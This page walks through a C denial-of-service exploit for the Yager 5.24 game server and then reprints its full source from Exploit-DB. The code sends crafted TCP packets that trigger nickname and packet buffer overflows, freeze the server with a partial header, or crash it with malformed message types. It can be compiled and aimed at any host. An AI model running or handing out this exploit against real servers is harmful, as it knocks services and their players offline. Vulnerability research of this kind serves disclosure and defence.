Yager 5.24 Denial of Service Vulnerabilities Explained

Yager 5.24 Denial of Service Vulnerabilities Explained
What this paper is
This paper details several Denial of Service (DoS) vulnerabilities found in Yager version 5.24. The exploit code provided aims to crash the Yager game server or disrupt its services by sending malformed network packets. It targets specific vulnerabilities related to how the server handles incoming data, particularly during nickname registration, packet processing, and certain game state updates.
Simple technical breakdown
The Yager game server communicates over the network using UDP and TCP. The vulnerabilities exploited by this code stem from the server's improper handling of data lengths and content in specific network messages.
- Buffer Overflows: The server doesn't always check if the data it receives fits into its allocated memory buffers. By sending data larger than expected, it can overwrite adjacent memory, potentially leading to crashes or unpredictable behavior.
- Invalid Data Handling: Sending specific, unexpected data types or malformed messages can trigger error conditions within the server that it doesn't recover from gracefully, causing it to stop responding.
- Resource Exhaustion: One attack type aims to leave the server in a state where it's waiting for data that will never arrive, effectively freezing it and potentially connected clients.
The exploit code crafts these malicious packets and sends them to the target server.
Complete code and payload walkthrough
The provided C code is a network exploit designed to target Yager 5.24. It uses socket programming to send crafted packets to a Yager server.
Header Files and Definitions
stdio.h,stdlib.h,string.h,time.h: Standard C libraries for input/output, memory allocation, string manipulation, and time functions.winsock.h(Windows specific): For Windows socket API functions.errno.h(Windows specific): For error handling.unistd.h,sys/socket.h,sys/types.h,arpa/inet.h,netinet/in.h,netdb.h(Unix-like specific): Standard Unix socket and network functions.VER "0.1": Version of the exploit.BUFFSZ (HEADSZ + 65536): Defines a buffer size, 65536 bytes plus a header size.PORT 34855: Default UDP port for Yager server information discovery.TIMEOUT 3: Timeout in seconds for network operations.HEADSZ 10: Size of the Yager network packet header.EIP "\xde\xc0\xad\xde": A placeholder for an Instruction Pointer (EIP) value, often used in buffer overflows to control execution flow, though in this DoS context, it's part of the overflow data.CRASHSZ 100: Size of data used for crash attacks.NICKBOF: A macro defining a buffer overflow payload for nicknames. It includes fields for vehicle type, team, nickname size (which is intentionally large), a long string of 'a's, theEIPplaceholder, and other data.PCKBOF: A macro defining a buffer overflow payload for general packets. It's a long string of 'a's followed byEIPand other data.SHOW(x): A macro to print formatted strings and capture lengths for parsing.SENDTO(x): A macro to send data via UDP.RECVFROM: A macro to receive data via UDP with a timeout.SEND(x,y): A macro to send data via TCP.
std_err Function
- Purpose: Handles and prints network-related errors on Windows.
- Inputs: None.
- Behavior: Checks
WSAGetLastError()for specific Windows socket error codes and prints a human-readable description. If the error code is not recognized, it falls back tostrerror(errno). It then prints the error and exits the program. - Output: Prints error message to
stderrand exits. - Mapping:
WSAGetLastError()-> Get Windows socket error code.switch(WSAGetLastError())-> Conditional logic to map error codes to messages.fprintf(stderr, ...)-> Output error message.exit(1)-> Terminate program on error.
main Function
- Purpose: The entry point of the exploit. It parses arguments, initializes sockets, discovers the server port (if auto-detected), and executes the chosen attack.
- Inputs:
argc(argument count),argv(argument values). - Behavior:
- Initialization: Sets
stdoutbuffering toNULL(unbuffered). Prints exploit banner. - Argument Parsing: Checks for at least 3 arguments (
<attack>,<host>,[port]). If not enough, prints usage instructions and exits. - Windows Sockets Initialization: If on Windows (
WIN32), initializes the Winsock DLL. - Port Handling: If a port is provided as the third argument, it uses that port. Otherwise, it attempts to auto-discover the server's game port using UDP.
- Host Resolution: Resolves the target hostname to an IP address using
resolv(). - Memory Allocation: Allocates memory for the receive buffer (
buff). - Port Discovery (Auto):
- Creates a UDP socket (
SOCK_DGRAM). - Constructs an information request packet (
info) with a time-based checksum. - Sends the information request to the default Yager UDP port (34855).
- Waits for a reply using
RECVFROM. - Parses the reply to extract the actual game port, map name, version, and player count.
- Updates
peer.sin_portwith the discovered port. - Closes the UDP socket.
- Creates a UDP socket (
- Attack Selection: Parses the attack number from
argv[1]. Validates it. - TCP Connection: Creates a TCP socket (
SOCK_STREAM) and connects to the target server's IP and port. - Packet Construction and Sending:
- Initializes a
yager_headstructure at the beginning of thebuff. - Sets
yh->pck1to a time-based value. - Attack 1 (Nickname Buffer Overflow):
- Sets
yh->typeto0x1e. - Copies
NICKBOFinto the buffer after the header. - Sets
yh->sizeto the size ofNICKBOF. - Prints a message indicating the attack.
- Sets
- Attack 2 (Big Data Buffer Overflow):
- Sets
yh->typeto0x00(or any other valid type). - Copies
PCKBOFinto the buffer after the header. - Sets
yh->sizeto the size ofPCKBOF. - Prints a message indicating the attack.
- Sets
- Attack 3 (Freeze Server/Clients):
- Sets
yh->typeto0x1b. - Sets
yh->sizeto0. - Calculates a small size (
tmp) based onHEADSZand a time value. - Sends only a partial header (
tmpbytes) usingSEND. This is intended to leave the server waiting for more data. - Prompts the user to press Enter to stop the attack.
- Closes the socket and exits.
- Sets
- Attacks 4-7 (Crash using specific types):
- Sets
yh->typebased on the attack number (0x1d, 0x22, 0x24, 0x28). - Fills the buffer after the header with
0xffbytes up toCRASHSZ. - Sets
yh->sizetoCRASHSZ. - Prints the attack type.
- Sets
- Initializes a
- Final Check:
- Sends the constructed packet using
SEND. - Uses
timeout()to check for a reply. - If no timeout, attempts to
recv()data. Ifrecv()fails (indicating a closed connection or error), it declares the server vulnerable. Otherwise, it states the server doesn't seem vulnerable. - If
timeout()returns a timeout, it states the server is probably not vulnerable.
- Sends the constructed packet using
- Cleanup: Closes the TCP socket.
- Exit: Returns 0 for success.
- Initialization: Sets
- Output: Prints status messages, discovered information, and the result of the attack.
timeout Function
- Purpose: Implements a timeout for socket operations using
select(). - Inputs:
sock(the socket descriptor). - Behavior:
- Sets a
timevalstructure for a timeout ofTIMEOUTseconds. - Creates a file descriptor set
fd_read. - Adds the given
socktofd_read. - Calls
select()to wait for the socket to become readable, writable, or for an error, with the specified timeout. - If
select()returns an error, callsstd_err(). - If
select()returns 0 (timeout occurred), returns -1. - Otherwise (socket is ready), returns 0.
- Sets a
- Output: Returns -1 on timeout, 0 on readiness, or calls
std_err()on error. - Mapping:
struct timeval tout: Timeout structure.fd_set fd_read: File descriptor set.FD_ZERO,FD_SET: Macros to manipulate the file descriptor set.select(): The system call that waits for I/O readiness.
resolv Function
- Purpose: Resolves a hostname to an IP address.
- Inputs:
host(hostname string). - Behavior:
- Tries to resolve the
hoststring directly as an IP address usinginet_addr(). - If
inet_addr()returnsINADDR_NONE(meaning it's not a valid IP address string), it callsgethostbyname()to perform a DNS lookup. - If
gethostbyname()fails, it prints an error and exits. - If successful, it returns the IP address as a
u_long.
- Tries to resolve the
- Output: Returns the IP address as a
u_long. - Mapping:
inet_addr(): Converts an IP address string to a network byte order unsigned integer.INADDR_NONE: A special value indicating failure forinet_addr().gethostbyname(): Performs a DNS lookup for a hostname.hp->h_addr: Pointer to the IP address in the host entry structure.
std_err Function (Unix-like)
- Purpose: Handles and prints system errors on Unix-like systems.
- Inputs: None.
- Behavior: Uses
perror()to print a system error message corresponding to the currenterrnovalue tostderr. Then exits the program. - Output: Prints error message to
stderrand exits. - Mapping:
perror(): Prints a system error message.exit(1): Terminate program on error.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ (HEADSZ + 65536)
#define PORT 34855
#define TIMEOUT 3
#define HEADSZ 10
#define EIP "\xde\xc0\xad\xde"
#define CRASHSZ 100
#define NICKBOF "\x00\x00\x00\x00" /* vehicle type */ \
"\x01\x00\x00\x00" /* team */ \
"\xff\xff\xff\xff" /* nickname size, ignored! */ \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
EIP \
"aaaaaaaaaaaaaaaa\0"
#define PCKBOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aa" EIP
#define SHOW(x) printf(x "%n%s%n\n", &tmp, p, &len); \
p += (len - tmp) + 1;
#define SENDTO(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECVFROM if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
#define SEND(x,y) if(send(sd, x, y, 0) \
< 0) std_err();
u_long resolv(char *host);
int timeout(int sock);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
tmp,
autoport = 1;
u_short port = PORT;
u_char *buff,
info[] =
"Y_NET_YAGER_CLIENT\0"
"\x00\x00" "\x00\x00",
*p;
struct yager_head {
u_long type;
u_short size;
u_short pck1;
u_short pck2;
} *yh;
setbuf(stdout, NULL);
fputs("\n"
"Yager <= 5.24 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(auto)]\n"
"\n"
"Attacks:\n"
" 1 = nickname buffer-overflow\n"
" 2 = big data buffer-overflow\n"
" 3 = freeze of server and connected clients\n"
" 4 = crash using type 0x1d (in 0x0050e970)\n"
" 5 = crash using type 0x22 (in 0x004fd2b8)\n"
" 6 = crash using type 0x24 (in 0x004fd2f5)\n"
" 7 = crash using type 0x28 (in 0x004b0f1b)\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) {
autoport = 0;
port = atoi(argv[3]);
}
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
buff = malloc(BUFFSZ);
if(!buff) std_err();
if(autoport) {
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- request informations:\n", stdout);
*(u_short *)(info + 19) = ~time(NULL);
SENDTO(info);
RECVFROM;
close(sd);
p = buff + 19;
port = ntohs(*(u_short *)p);
printf("\n Server port %d\n", port);
p += 2;
SHOW(" Map ");
printf(" Version %d.%d\n", p[1], p[0]);
p += 2;
SHOW(" Server name ");
p += 4;
printf(" Players %d / %d\n\n", p[1], p[0]);
peer.sin_port = htons(port);
}
attack = atoi(argv[1]);
if(attack > 7) {
fputs("\nError: you have chosen a wrong attack number\n\n", stdout);
exit(1);
}
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
yh = (struct yager_head *)buff;
yh->pck1 = tmp = ~time(NULL) & 0xffff;
yh->pck2 = 0;
if(attack == 1) {
yh->type = 0x1e;
memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
yh->size = sizeof(NICKBOF) - 1;
fputs("- send long data block for nickname buffer-overflow\n", stdout);
} else if(attack == 2) {
yh->type = 0x00; // almost any other type is ok
memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
yh->size = sizeof(PCKBOF) - 1;
fputs("- send long data block for packet buffer-overflow\n", stdout);
} else if(attack == 3) {
yh->type = 0x1b;
yh->size = 0;
printf("- server waits for %d bytes but we send a partial header\n", HEADSZ);
tmp %= HEADSZ;
if(tmp <= 0) tmp = 1;
SEND(buff, tmp);
fputs(" Server and connected clients should be freezed, press RETURN to stop the attack\n", stdout);
fgetc(stdin);
close(sd);
return(0);
} else {
if(attack == 4) {
yh->type = 0x1d;
} else if(attack == 5) {
yh->type = 0x22;
} else if(attack == 6) {
yh->type = 0x24;
} else if(attack == 7) {
yh->type = 0x28;
}
memset(buff + HEADSZ, 0xff, CRASHSZ);
yh->size = CRASHSZ;
printf("- send crash data with type 0x%08lx\n", yh->type);
}
SEND(buff, yh->size + HEADSZ);
fputs("- check server status\n", stdout);
if(!timeout(sd)) {
if(recv(sd, buff, BUFFSZ, 0) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
} else {
fputs("\nNo reply from the server, it is probably not vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-04-14]